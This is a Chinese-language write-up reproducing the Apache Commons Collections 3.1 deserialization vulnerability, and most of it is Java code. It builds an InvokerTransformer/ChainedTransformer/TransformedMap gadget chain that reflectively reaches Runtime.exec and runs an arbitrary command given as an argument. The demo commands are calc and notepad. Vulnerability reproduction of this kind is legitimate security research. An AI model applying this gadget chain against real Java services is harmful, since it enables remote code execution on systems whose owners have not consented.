Java反序列化漏洞复现分析
问题是出现在common-collections jar包里面,首先下载jar包,commons-collections-3.1.zip, 问题出在InvokerTransformer这个类中,反编译common-collections可以找到它的代码, 在包org.apache.commons.collections.functors
其中transform方法就是屌用java的反射机制,写一个Test来测试一下 。
package test; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Test { public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException { //函数名字,传参类型,参数值 Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"}); Object newobject = transformer.transform(new StringBuffer("hi ")); System.out.println(newobject); } }
利用getRuntime来exec任意系统命令。
package test; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Test { public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException { Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"}); Object newobject = transformer.transform(new StringBuffer("hi ")); System.out.println(newobject); Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{}); System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("notepad").getInputStream())).readLine()); } }
成功执行命令。
可以看出来,我们要构造人意执行的话要反射多次,先反射成Runtime,然后获得getRuntime,然后再屌用invoke,最后调用exec
一路跟踪,寻找到调用transform的地方,最终发现TransformedMap 进入代码里面发现在put方法,checkSetValue函数时调用了,这点我不知道为什么和大伙分析的不同,应该是最终这个地方调用了但是实际上不可以控制,所以大部分文章都只提checkSetValue。
构造payload:
package test; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class Demo { public static void main(String[] args) { String command = (args.length !=0 ) ? args[0] : "calc"; String[] execArgs = command.split(","); Transformer[] tarnsforms = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ), new InvokerTransformer( "invoke", new Class[] {Object.class,Object[].class}, new Object[] {null,new Object[0]} ), new InvokerTransformer( "exec", new Class[]{String[].class}, new Object[]{execArgs} ) }; Transformer transformerChain = new ChainedTransformer(tarnsforms); Map temoMap = new HashMap<String,Object>(); Map<String,Object> exMap = TransformedMap.decorate(temoMap, null, transformerChain); exMap.put("by", "SecFree"); } }